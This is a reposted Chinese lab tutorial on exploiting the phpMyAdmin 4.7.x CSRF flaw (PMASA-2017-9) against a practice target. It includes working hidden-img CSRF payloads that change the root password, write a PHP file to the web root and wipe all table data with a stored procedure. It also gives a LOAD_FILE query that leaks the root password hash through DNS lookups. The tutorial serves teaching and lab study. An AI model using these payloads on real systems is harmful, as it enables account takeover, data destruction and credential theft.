phpMyAdmin 4.7.x CSRF 漏洞利用
phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。
该篇文章我们将结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。
在线 phpMyAdmin CSRF 演练地址:https://www.vulnspy.com/?u=pmasa-2017-9
注:重启演示靶机即可重置靶机
1 在线创建 phpMyAdmin 环境
点击 VulnSpy 提供的创建靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)
跳转到 VSPlate 后,直接点击GO
按钮,便会自动创建一个 phpMyAdmin 环境
打开演示地址
的链接,我们的 phpMyAdmin 就创建完成了。
使用帐号 root
,密码 toor
,登录 phpMyAdmin 。根据页面信息,我们可以发现当前 phpMyAdmin 的版本为 4.7.6,刚好匹配存在漏洞的 phpMyAdmin 版本。
2 CSRF 漏洞利用 – 修改当前数据库用户密码
我们知道,如果要利用CSRF来删除或修改数据库内容,通查情况下需要提前知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,因此本文我们将介绍几种较为通用的利用方式。
在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为[www.vulnspy.com](http://www.vulnspy.com)
,对应的SQL语句为:
SET passsword=PASSWORD('www.vulnspy.com');
利用演示
2.1 模拟管理员登录phpMyAdmin的状态。
用帐号 root 密码 toor 登录 phpMyAdmin 。
2.2 创建含有恶意代码的页面。
文件名 2.payload.html (将下面的域名换成自己的靶机域名)
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
2.3 用浏览器打开含有恶意代码的文件 2.payload.html
回到上一步打开的phpMyAdmin页面,发现已自动退出,而且用原来的密码 toor 已经无法登录。
2.4 使用密码 www.vulnspy.com 登录成功,表明利用成功
3 CSRF 漏洞利用 – 写文件
MySQL支持将查询结果写到文件当中,我们可以利用该特性来写入PHP文件。比如将代码<?php phpinfo();?>
写到文件/var/www/html/test.php
中,对应的SQL语句为:
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
利用演示
3.1 将上一个演示步骤相同,只需将2.2中的文件代码改成:
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
3.2 用浏览器打开含有恶意代码的文件
3.3 访问 test.php
可见文件已经写入成功。
4 CSRF 漏洞利用 – 获取数据
MySQL提供了load_file()
函数来支持读取文件内容的操作。比如读取文件/etc/passwd
内容,,对应的SQL语句为:
select load_file('/etc/passwd');
但是对于CSRF漏洞来说,该读取操作实在目标用户端执行的,我们依然无法知道文件读取的结果。而load_file()
在Windows下支持从网络共享文件夹中读取文件,如\\192.168.1.100\share\vulnspy.txt
。网络共享文件的地址处不仅可以填写IP还可以填写域名,我们可以通过DNS解析来获取查询的数据。
此处需要用到 DNSLOG 之类的工具:https://github.com/BugScanTeam/DNSLog, 这类工具可以记录域名的 DNS 解析记录
比如通过DNS解析来获取当前 MySQL root 用户密码,对应的SQL语句为:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));
获取当前数据库名:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));
如果请求成功,查询结果将作为二级域名的一部分出现在我们的 DNS 解析记录当中。
该环境暂无法演示
5 CSRF 漏洞利用 – 清空所有数据表
如果上面几种利用方式都无法直接造成直接的影响,我们可以利用SQL语句来清空当前MySQL用户可操作的所有数据表。
我们用命令
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
来获取数据名和表名,并将其拼接成删除语句(如:DELETE FROM vulnspy_tables.inv
),通过 execute
来执行生成的删除语句:
set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);
prepare stmt from @del;
execute stmt;
但是 execute 一次只能执行一条SQL语句,因此我们可以利用循环语句来逐一执行:
DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
CREATE PROCEDURE EMPT()
BEGIN
DECLARE i INT;
SET i = 0;
WHILE i < 100 DO
SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
PREPARE STMT FROM @del;
EXECUTE STMT;
SET i = i +1;
END WHILE;
END $$
DELIMITER ;
CALL EMPT();
利用演示
5.1 Payload如下
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
5.2 用浏览器打开含有恶意代码的文件
5.3 回到 phpMyAdmin 中查看数据
可以发现数据库vulnspy_tables
和数据库vulnspy_test
中的数据已经被清空。
6 总结
这个 phpMyAdmin 的 CSRF 漏洞利用有点类似 SQL 盲注的利用,但是对于漏洞触发的时间不可控(即不知道管理员何时会访问含有恶意代码的页面),因此需要更加通用的利用方式。通过该实验,不仅了解该漏洞的内容,还可以更加熟悉CSRF漏洞的利用。
本文转载自:phpMyAdmin 4.7.x CSRF 漏洞利用 - https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/
i春秋推出优享会员制,开通会员可以免费畅享多类课程、实验、CTF赛题等付费内容,并可享有包括会员日专属福利、就业推荐等多种特权福利,更多活动详情可点击:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~
相关文章
- 003_crlf注入漏洞
- 漏洞检测方法如何选?详解源代码与二进制SCA检测原理
- 联想、戴尔和东芝电脑曝严重OEM漏洞
- 惊天后续 | 不仅可看照片和短信, 利用 iOS 漏洞无需密码还能打电话、发短信!
- 如何使用Shodan搜索引擎来诊断漏洞?
- 「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析
- [SRC初探]手持新手卡挖SRC逻辑漏洞心得分享
- 如何使用加密的Payload来识别并利用SQL注入漏洞
- 4 个单词,谷歌返回 16 个 SQL 注入漏洞...
- android安全问题(八)伪造短信(利用原生android4.0漏洞)
- “Redirect to SMB”漏洞影响所有版本的Windows
- Linux内核出现本地提权漏洞 CVE-2016-5195 2007年以后的版本都可能受到影响
- Openstack Keystone身份验证模块出现安全绕过漏洞CVE-2017-2673 已经出现漏洞利用工具
- Humax WiFi路由器被爆0day漏洞,可获得管理员权限
- WPForce——一款 Wordpress 漏洞利用工具
- 破解索尼PS4系列:利用网页漏洞实现相关的ROP攻击(一)
- iOS平台手机银行App大多存安全风险漏洞
- 如何检查您的服务器是否容易受到 log4j Java 漏洞利用 (Log4Shell) 的影响
- 99.网络安全渗透测试—[常规漏洞挖掘与利用篇15]—[伪随机码漏洞与测试]
- 94.网络安全渗透测试—[常规漏洞挖掘与利用篇10]—[SSFR漏洞与测试]
- 92.网络安全渗透测试—[常规漏洞挖掘与利用篇8]—[命令执行漏洞与测试]
- MongoDB数据库未授权访问漏洞及加固
- CVE-2019-0708远程桌面服务远程执行代码漏洞复现
- DOM XSS原型链污染漏洞挖掘
- Web安全 PHP反序列化漏洞的 测试.(可以 防止恶意用户利用漏洞)
- [ 常见漏洞篇 ]常见web漏洞总结------XSS跨站脚本漏洞
- [ 漏洞挖掘基础篇四 ] 漏洞挖掘之 SQL 注入挖掘